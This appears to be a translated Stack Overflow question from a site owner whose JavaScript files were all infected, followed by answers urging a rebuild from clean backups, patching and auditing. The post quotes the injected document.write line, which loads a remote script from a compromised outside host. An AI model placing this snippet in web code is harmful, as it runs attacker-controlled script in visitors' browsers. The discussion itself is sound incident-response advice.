【问题标题】:How to clean my infested javascript code [closed]如何清理我被感染的 javascript 代码 [关闭]
【发布时间】:2014-01-21 10:05:03
【问题描述】:

我的网站已被病毒感染。所有 javascript 文件都包含以下代码:

/*a61bd2*/
document.write("<script src='http://www.blog-environnement.fr/wp-admin    /DxRcTnm8.php?id=128633385' type='text/javascript'></" + "script>");
 /*/a61bd2*/

我可以清理它,但我必须单独打开每个 javascript 才能删除代码。我想知道是否可以使用脚本自动从我网站内的所有 javascript 中删除此代码?

如果这是可能的,如果有人可以给我一些提示,因为我不想再遇到这个问题。

比你们所有人,对不起我的英语。

【问题讨论】:

  • 如果您有备份,则可以从中恢复您的代码。如果您没有备份,那么您将不得不努力做到这一点。
  • 你的脚本是用php自动生成的?
  • 我会想到为什么你的文件是这样的?然后担心当前状态。治疗原因,而不是症状。
  • 不太可能是病毒。您的软件中更有可能存在安全漏洞,使攻击者可以写入您网站的文件。您需要先解决该漏洞(例如通过更新软件/插件/主题),然后再修复其他任何内容。
  • 这个问题似乎跑题了,因为它属于security.stackexchange.com

标签: javascript malware virus


【解决方案1】:

不要试图清理您的受损代码。获取一份干净的副本并使用它。

  1. 让你的服务器离线
  2. 检查您的工作站是否存在恶意软件(以防攻击媒介通过诸如窃取您的密码之类的方式)
  3. 构建干净的服务器
  4. 确保它具有您所依赖的所有软件/库的最新版本
  5. 从已知良好的备份中恢复您的网站
  6. 开始监控您的网站,看看它是否再次遭到入侵
  7. 检查受感染服务器的日志,看看是否可以从那里找出攻击的性质
  8. 安全审核您的所有代码(包括干净备份和来自受感染服务器的编辑版本)。

【讨论】:

    猜你喜欢
    • 2016-04-03
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2010-11-02
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多